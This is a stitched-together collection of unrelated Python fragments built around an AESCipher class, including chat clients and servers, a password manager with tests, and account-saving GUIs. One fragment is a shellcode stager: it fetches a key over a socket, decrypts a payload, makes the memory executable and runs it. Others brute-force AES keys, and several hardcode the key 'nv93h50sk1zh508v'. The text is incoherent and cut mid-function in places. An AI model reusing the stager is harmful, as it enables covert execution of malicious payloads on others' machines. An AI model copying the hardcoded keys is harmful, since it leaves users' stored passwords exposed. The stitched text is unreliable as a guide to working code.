def receive_loop(): connect_server() while 1: cipher = AESCipher(self.serverSharedKey) data = cipher.decrypt(self.clientSocket.recv(self.size)) msg = json.loads(data) if msg.struct['message'] == 'Exit Success': print 'Connection successfully closed.' self.socket.shudown(SHUT_RDWR) self.socket.close() sys.exit(0) elif msg.struct['message'] == 'DH Key Exchange': K = str((long(msg.struct['key'])**self.Xc) % shared_prime) h = SHA256.new() h.update(K) K = h.hexdigest() sender = msg.struct['sender'] self.clientRegistry[sender] = { 'public_key': msg.struct['key'], 'private_key': K } else: sender = msg.struct['sender'] key = self.clientRegistry[sender]['private_key'] cipher = AESCipher(key) message = cipher.decrypt(msg.struct['message']) print message
def _listen_client(self, sock_client, address): """Called when a new thread starts the connection procedure. Starts the handshake to establish a secure connection through RSA and then AES. Keyword arguments: sock_client -- socket object returned by the socket.accept() method address -- address bound to the socket on the other side """ print("Connected by ", address) pubkey = sock_client.recv(1024) # Retrieve the RSA public key of the client print("Public key received.\n") AESkey = os.urandom(24) # Generate a 'random' key for AES (16,24 or 32 bit) sock_client.sendall( self.RSAencrypt(pubkey, AESkey)) # Send the AES key to the client, in this way the communication print("AESKey was sent.\n") # can go on with AES cryptography (better performance than RSA) # Now it should be possible to continue the communication with AES enc/dec aesc = AESCipher.AESCipher(AESkey) sock_client.sendall(aesc.encrypt("Server.... OK!")) while True: data = sock_client.recv(1024) if data: cmd = str(aesc.decrypt(data), 'utf-8') # Casting needed because decrypt returns bytes not string result = self.plugin.run(cmd) # HERE plugin sock_client.sendall(aesc.encrypt(result)) else: print("Client with addr:", address, "went offline.") sock_client.close() return -1
def test_client_crud_delete_password(self): connection = self.connect(IP, PORT) response = connection.send_receive( json.dumps({ "action": "LOGIN", "username": self.username, "password": self.password })) cipher = AESCipher("nv93h50sk1zh508v") response = connection.send_receive( json.dumps({ "action": "CRUD", "subaction": "READ" })) entryId = response['additional']['passwords'][0]['id'] response = connection.send_receive( json.dumps({ "action": "CRUD", "subaction": "DELETE", "entry": { "id": entryId } })) if response['status'] != 200: self.assertFalse(True, 'Incorrect Status')
def on_new_client(clientsocket, addr, user): while True: # this while is a listen loop to any client msg = clientsocket.recv(size) print msg # decrypt msg cipher = AESCipher(connected_sockets[user]['private_key']) msg = cipher.decrypt(msg) print addr, ' >> ', msg msg = json.loads(msg) if msg['messagetype'] == 'command': msg['args'].append(msg['sender']) response = { 'messagetype': 'response', 'response': commands[msg['command']](msg['args']) } send(response, clientsocket) if msg['command'] == '/exit': exit() elif msg['messagetype'] == 'incoming_connect' or msg[ 'messagetype'] == 'success_connect': response = msg elif msg['messagetype'] == 'message': if msg['receiver'] == '': response = { 'messagetype': 'send_failed', 'messagecontent': 'Could not send: no recipient found.' } else: response = {'messagetype': 'received', 'sender': msg['sender']} send(response, clientsocket)
def send(token): username = token.struct['receiver'] key = self.serverRegistry.sRegistry[username]['private_key'] socket = self.serverRegistry.sRegistry[username]['socket'] cipher = AESCipher(key) msg = cipher.encrypt(repr(token)) self.serverSocket.sendto(msg, socket)
def addPassword(self, new_account, new_password): print new_account, new_password if new_account == "" or new_password == "": self.ids.add_password_status.text = "Text Input Empty" return try: cipher = AESCipher("nv93h50sk1zh508v") try: encrypted_password = cipher.encrypt(new_password) except Exception, e: print e self.ids.add_password_status.text = "Unable To Encrypt Password" return commandData = json.dumps({ "action": "CRUD", "subaction": "CREATE", "entry": { "account": new_account, "accountPassword": encrypted_password } }) recvJsonData = self.parent.clientConnection.send_receive( commandData) PasswordCreate(self.parent.db, self.loggedInUser, new_account, encrypted_password) self.ids.add_password_status.text = "Password Added" self.screenRedirect("main_screen_online")
def loadPasswordList_UI(self): self.readPasswords() self.ids.remote_password_list.clear_widgets() self.ids.local_password_list.clear_widgets() self.ids.remote_password_list.add_widget( Label(text="Remote Password List")) self.ids.local_password_list.add_widget( Label(text="Local Password List")) cipher = AESCipher("nv93h50sk1zh508v") for entry in self.localPasswordList: passwordBtn = PasswordButton(text=entry['account'], background_color=(0.93, 0.93, 0.93, 1)) passwordBtn.pw_username = entry['username'] passwordBtn.pw_account = entry['account'] try: passwordBtn.pw_password = cipher.decrypt(entry['password']) except Exception, e: print e passwordBtn.pw_password = "******" passwordBtn.pw_id = entry['id'] passwordBtn.pw_id = entry['id'] passwordBtn.pw_location = "Local" passwordBtn.bind(on_release=self.onPasswordButtonClick) self.ids.local_password_list.add_widget(passwordBtn)
def decrypt_filecontent(encrypted_filecontent, aeskey_bytecode): aeskey = bytearray.fromhex(aeskey_bytecode) aeskeybuffer = buffer(aeskey) file_bcbuffer = buffer(encrypted_filecontent) aesCipher = AESCipher.AESCipher(aeskeybuffer) deciphered_text = aesCipher.decrypt(file_bcbuffer) return deciphered_text
def process_incoming_message(self, msg_raw, msg_id, owner_str): ''' Process incoming messages :param msg_raw: the raw message :param msg_id: ID of the message :param owner_str: user name of the user who posted the message :param user_name: name of the current user :param print_all: is the message part of the conversation history? :return: None ''' # process message here # example is base64 decoding, extend this with any crypto processing of your protocol decoded_msg = base64.decodestring(msg_raw) group_key = self.group_key # last 32 bytes should be the signature #encr_msg = decoded_msg encr_msg = decoded_msg[:-256] signature = decoded_msg[-256:] #print signature key = RSA.importKey(open(owner_str.lower() + 'PubKey.pem').read()) h = SHA256.new() h.update(encr_msg) verifier = PKCS1_PSS.new(key) if not verifier.verify(h,signature): raise Exception('Signature not valid') aes_group = AESCipher(group_key) # get message key # decrypt message using message key decoded_msg = aes_group.decrypt(encr_msg) # check for correct timestamp timestamp = datetime.datetime.strptime(decoded_msg[-27:-1], "%Y-%m-%d %H:%M:%S.%f") if self.lastTimeStamp == None: if timestamp < datetime.datetime.utcnow(): self.lastTimeStamp = timestamp else: raise Exception('Error: timestamp is from a point in the future') elif self.lastTimeStamp < timestamp: if timestamp < datetime.datetime.utcnow(): self.lastTimeStamp = timestamp else: raise Exception('Error: timestamp is from a point in the future') else: raise Exception('Timestamp is out of order. Possible replay attack.') # uncomment to remove timestamp from message #decoded_msg = decoded_msg[:-46] # print message and add it to the list of printed messages self.print_message( msg_raw=decoded_msg, owner_str=owner_str )
def process_outgoing_message(self, msg_raw, originates_from_console=False): ''' Process an outgoing message before Base64 encoding :param msg_raw: raw message :return: message to be sent to the server ''' # if the message has been typed into the console, record it, so it is never printed again during chatting if originates_from_console == True: # message is already seen on the console m = Message( owner_name=self.manager.user_name, content=msg_raw ) self.printed_messages.append(m) # process outgoing message here ''' f = open(str(self.get_id()) + 'Key.txt', 'r') group_key = f.read() f.close() print "THIS IS THE READ-IN GROUP KEY" print group_key aes_group = AESCipher(group_key) print aes_group.key ''' aes_group = AESCipher(self.group_key) # generate message key #message_key = generateKey() #aes_message = AESCipher(message_key) # encrypt message key using group key #e_message_key = aes_group.encrypt(message_key) #add timestamp to message message = msg_raw + " (Message sent at: " + str(datetime.datetime.utcnow()) + ")" # encrypt message with message key e_message = aes_group.encrypt(message) # get private key owner = str(self.manager.user_name).lower() key = RSA.importKey(open(owner + "PrivKey.pem").read()) h = SHA256.new() h.update(e_message) signer = PKCS1_PSS.new(key) signature = signer.sign(h) encrypted_data = str(e_message) + str(signature) # example is base64 encoding, extend this with any crypto processing of your protocol encoded_msg = base64.encodestring(encrypted_data) # post the message to the conversation self.manager.post_message_to_conversation(encoded_msg)
def __init__(self, encryptpass=None): self.encryptpass = encryptpass self.vncpassword = self.random_pwd_generator() self.acypher = None if (self.encryptpass): import AESCipher # VNC password encription python implementation # from https://github.com/trinitronx/vncpasswd.py self.acypher = AESCipher.AESCipher(self.encryptpass)
def send(msg, s): print msg key = connected_sockets[msg['response']['receiver']]['private_key'] cipher = AESCipher(key) msg = json.dumps(msg) msg = cipher.encrypt(msg) print "" print msg print "" s.send(msg)
def test_client_crud_password_logged_out(self): connection = self.connect(IP, PORT) cipher = AESCipher("nv93h50sk1zh508v") try: encrypted_password = cipher.encrypt(self.new_password) except Exception, e: self.assertFalse(True, e)
def on_new_client(socket, addr, username): while 1: msg = socket.recv(size) cipher = AESCipher( self.serverRegistry.sRegistry[username]['private_key']) msg = cipher.decrypt(msg) # print addr,' >> ', msg msg = json.loads(msg) # stuff return
def addPasswordLocal(self, new_account, new_password): if new_account == "" or new_password == "": self.ids.add_password_status.text = "Text Input Empty" return cipher = AESCipher("nv93h50sk1zh508v") try: encrypted_password = cipher.encrypt(new_password) except Exception, e: self.ids.add_password_status.text = "Unable To Encrypt Password" return
def encrypt_file(filepath, aeskey_bytecode, iv_bytecode, client_name): aeskey = bytearray.fromhex(aeskey_bytecode) aesiv = bytearray.fromhex(iv_bytecode) aeskeybuffer = buffer(aeskey) aesivbuffer = buffer(aesiv) aesCipher = AESCipher.AESCipher(aeskeybuffer) f = open(filepath) filecontent = f.read() f.close() filecontent_clientname = filecontent + "\n" + client_name ciphered_text = aesCipher.encrypt(filecontent_clientname, aesivbuffer) return ciphered_text
def receive_loop(): global recipient, Kc while 1: cipher = AESCipher(Kc) data = cipher.decrypt(s.recv(size)) msg = json.loads(data) print msg if msg['response']['messagetype'] == 'success_exit': print 'Connection successfully closed.' s.shutdown(SHUT_RDWR) s.close() sys.exit(0) elif msg['response']['messagetype'] == 'success_connect': Kr = str((long(msg['response']['sharedkey'])**Xc) % shared_prime) h = SHA256.new() h.update(Kr) Kr = h.hexdigest() recipient = msg['response']['receiver'] users_info[recipient] = { 'public_key': msg['response']['sharedkey'], 'private_key': Kr } elif msg['response']['messagetype'] == 'incoming_connect': Kr = str((long(msg['response']['sharedkey'])**Xc) % shared_prime) h = SHA256.new() h.update(Kc) Kc = h.hexdigest() users_info[msg['response']['sender']] = { 'public_key': msg['response']['sharedkey'], 'private_key': Kr } elif msg['response']['messagetype'] == 'incoming_message': receiver = msg['response']['receiver'] sender = msg['response']['sender'] cipher = AESCipher(users_info[receiver]['private_key']) message = cipher.decrypt(msg['response']['msg']) print user, '<', sender + ':', message print msg['response']['messagecontent']
def __init__(self, debug=False, controller=None): """ Facebook Session initializer. Creates an internal variable for: input_buffer (str) debug (bool) dispatch (list) msgstack (list) logged_in (bool) The 'recv' terminator is also set to a 'Windows' Style newline """ self.enkryptor = AESCipher.AESCipher(config.KRYPT_KEY) self.debug = debug self.controller = controller
def saveAccount(self): self.synoURL = self.inputURL.toPlainText() self.synoID = self.inputID.toPlainText() self.synoPW = self.inputPW.toPlainText() self.isOTP = str(self.checkOTP.isChecked()) with open('accounts.uum', 'w', encoding='UTF8') as json_file: fileData = "{\n\"Server\":\"%s\",\n\"ID\": \"%s\",\n\"PW\": \"%s\",\n\"OTP\": \"%s\"\n}" % ( self.synoURL, self.synoID, self.synoPW, self.isOTP) encryptData = AESCipher.AESCipher().encrypt_str(fileData) json_file.write(encryptData) main.main.openDownloadStation(main.main, self.synoURL, self.synoID, self.synoPW, self.isOTP) self.close()
def input_loop(): user_input = raw_input(self.username + '> ') if user_input.startswith('/'): args = user_input.split(' ') if args[0] == '/send_to': receiver = args[1] Kreceiv = self.clientRegistry['receiver']['private_key'] cipher = AESCipher(Kreceiv) message = args[2:] message = cipher.encrypt(message) # send(Message(receiver, self.username, message)) send(Command(self.username, receiver, '/send_to', message)) else: send(Command(self.username, '/send_to', message)) else: print "Please issue a command."
def initLogin(self): try: with open('accounts.uum', 'rt', encoding='UTF8') as json_file: self.loadData = AESCipher.AESCipher().decrypt_str( json_file.readline()) self.encryptData = json.loads(self.loadData) self.synoURL = self.encryptData["Server"] self.synoID = self.encryptData["ID"] self.synoPW = self.encryptData["PW"] self.isOTP = self.encryptData["OTP"] self.openDownloadStation(self.synoURL, self.synoID, self.synoPW, self.isOTP) except FileNotFoundError: self.openLogin()
def test_client_crud_create_password(self): connection = self.connect(IP, PORT) response = connection.send_receive( json.dumps({ "action": "LOGIN", "username": self.username, "password": self.password })) cipher = AESCipher("nv93h50sk1zh508v") try: encrypted_password = cipher.encrypt(self.new_password) except Exception, e: self.assertFalse(True, e)
def break_next(curr_cipher, condition_function): res_chars = '' g = itertools.product(CHARS, CHARS) while True: try: curr_chars = ''.join(g.next()) except StopIteration: break cipher = AESCipher(hashlib.sha256(curr_chars).digest()) plain = cipher.decrypt(curr_cipher) if condition_function(plain): res_chars = curr_chars curr_cipher = cipher._unpad(plain) break return curr_cipher, res_chars
def __init__(self, fich,pad): #Iniciar el objeto QMainWindow QMainWindow.__init__(self) #Cargar la configuración del archivo .ui en el objeto self.ruta=os.getcwd()+"/icons/" self.padre=pad uic.loadUi("mainwindow3.ui",self) self.clave=AESCipher.AESCipher() self.loc=local.Local() self.setWindowTitle(fich) self.fichero=fich self.abrir(self.fichero) iconSa=QIcon(self.ruta+'save-icon.png') iconL=QIcon(self.ruta+'lista-icon.png') iconN=QIcon(self.ruta+'bold.png') iconSub=QIcon(self.ruta+'underline.png') self.abierto=QIcon(self.ruta+'abierto.png') self.cerrado=QIcon(self.ruta+'cerrado.png') self.bbusqueda=QIcon(self.ruta+'lupa.png') self.bimpri=QIcon(self.ruta+'print1600.png') self.encrip=False self.saves.setIcon(iconSa) self.negrita.setIcon(iconN) self.listaB.setIcon(iconL) self.subButton.setIcon(iconSub) self.bEncrip.setIcon(self.abierto) self.bBuscar.setIcon(self.bbusqueda) self.bImprimir.setIcon(self.bimpri) self.saves.clicked.connect(self.save) self.negrita.clicked.connect(self.bold) self.listaB.clicked.connect(self.lista) self.etiquet.clicked.connect(self.nuevaE) self.subButton.clicked.connect(self.subra) self.bEncrip.clicked.connect(self.cambiarEncriptador) self.bImprimir.clicked.connect(self.imprimir) self.bBuscar.clicked.connect(self.busqueda) QShortcut(QtGui.QKeySequence("Ctrl+B"), self, self.bold) QShortcut(QtGui.QKeySequence("Ctrl+L"), self, self.lista) QShortcut(QtGui.QKeySequence("Ctrl+U"), self, self.subra) QShortcut(QtGui.QKeySequence("Ctrl+S"), self, self.save) QShortcut(QtGui.QKeySequence("Ctrl+F"), self, self.busqueda) QShortcut(QtGui.QKeySequence("Ctrl+P"), self, self.imprimir)
def test_client_crud_read_password(self): connection = self.connect(IP, PORT) response = connection.send_receive( json.dumps({ "action": "LOGIN", "username": self.username, "password": self.password })) cipher = AESCipher("nv93h50sk1zh508v") response = connection.send_receive( json.dumps({ "action": "CRUD", "subaction": "READ" })) if response['status'] != 200: self.assertFalse(True, 'Incorrect Status')
print 'Successfully Connected' break except Exception, e: print e key = "" while True: data = client.recv(1024) if data: key += data else: break client.close() key = key.rstrip() aes = AESCipher(key) decrypted = aes.decrypt(buf) if decrypted.endswith('\x90'): print "Decryption successful!" print "Decrypted: %s" % print_in_hex(decrypted) sc = c_char_p(decrypted) size = len(decrypted) addr = c_void_p(libc.valloc(size)) memmove(addr, sc, size) libc.mprotect(addr, size, 0x7) run = cast(addr, CFUNCTYPE(c_void_p)) run() sys.exit(0) else: print "Decryption not successful! retrying in %d secs" % time_to_wait time.sleep(time_to_wait)
def send(msg): key = connected_sockets[msg['receiver']]['private_key'] cipher = AESCipher(key) msg = cipher.encrypt(json.dumps(msg)) self.socket.send(msg)
def __init__(self, keys): assert len(keys) == 4 self.keys = keys self.ciphers = [] for i in range(4): self.ciphers.append(AESCipher(keys[i]))
# read ciphertext from input file ciphertext = open(input_filename, "r").read() # build sha256 hash list for all 2 byte combinations hashes, key_map = get_sha256_2bytes() # each hash is a possible key, attempt decryption and check padding decrypted_data = '' current_ciphertext = ciphertext layer_keys = [] guess = [] for layer in range(4): print "decrypting layer %d" % (4 - layer) for key in hashes: cipher = AESCipher(key) decrypted_data = cipher.decrypt(current_ciphertext) # for the 3 outermost layers, we can expect the padding to be 16 bytes of 0x10 # this is because the plaintext for every round (other than the very first) is the # ciphertext (multiple of 32 bytes) + iv (16 bytes) combination from the previous round. if layer != 3: padding_block = decrypted_data[-AES.block_size:] is_valid = True for ch in padding_block: if ord(ch) != 16: is_valid = False break if is_valid: current_ciphertext = AESCipher._unpad(decrypted_data) layer_keys.append(key.encode('hex')) print "solved layer %d with key : %s, padding byte : %d" % (
def send(msg): msg = json.dumps(msg) cipher = AESCipher(Kc) msg = cipher.encrypt(msg) s.send(msg)